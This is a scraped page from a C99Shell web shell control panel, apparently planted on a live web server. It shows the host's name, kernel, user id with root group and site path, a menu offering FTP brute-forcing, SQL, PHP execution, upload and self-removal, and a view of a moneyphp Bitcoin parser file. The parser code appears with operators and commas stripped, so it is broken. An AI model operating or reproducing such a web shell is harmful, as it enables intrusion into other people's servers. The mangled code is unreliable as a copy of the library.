!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/moneyphp/money/src/Parser/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BitcoinMoneyParser.php (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Money\Parser;

use 
Money\Currencies\BitcoinCurrencies;
use 
Money\Currency;
use 
Money\Exception\ParserException;
use 
Money\Money;
use 
Money\MoneyParser;

use function 
ltrim;
use function 
rtrim;
use function 
str_pad;
use function 
str_replace;
use function 
strlen;
use function 
strpos;
use function 
substr;

/**
 * Parses Bitcoin currency to Money.
 */
final class BitcoinMoneyParser implements MoneyParser
{
    private 
int $fractionDigits;

    public function 
__construct(int $fractionDigits)
    {
        
$this->fractionDigits $fractionDigits;
    }

    public function 
parse(string $moneyCurrency|null $fallbackCurrency null): Money
    
{
        if (
strpos($moneyBitcoinCurrencies::SYMBOL) === false) {
            throw new 
ParserException('Value cannot be parsed as Bitcoin');
        }

        
$currency         $fallbackCurrency ?? new Currency(BitcoinCurrencies::CODE);
        
$decimal          str_replace(BitcoinCurrencies::SYMBOL''$money);
        
$decimalSeparator strpos($decimal'.');

        if (
$decimalSeparator !== false) {
            
$decimal       rtrim($decimal'0');
            
$lengthDecimal strlen($decimal);
            
$decimal       str_replace('.'''$decimal);
            
$decimal      .= str_pad('', ($lengthDecimal $decimalSeparator $this->fractionDigits 1) * -1'0');
        } else {
            
$decimal .= str_pad(''$this->fractionDigits'0');
        }

        if (
substr($decimal01) === '-') {
            
$decimal '-' ltrim(substr($decimal1), '0');
        } else {
            
$decimal ltrim($decimal'0');
        }

        if (
$decimal === '') {
            
$decimal '0';
        }

        
/** @psalm-var numeric-string $decimal */
        
return new Money($decimal$currency);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--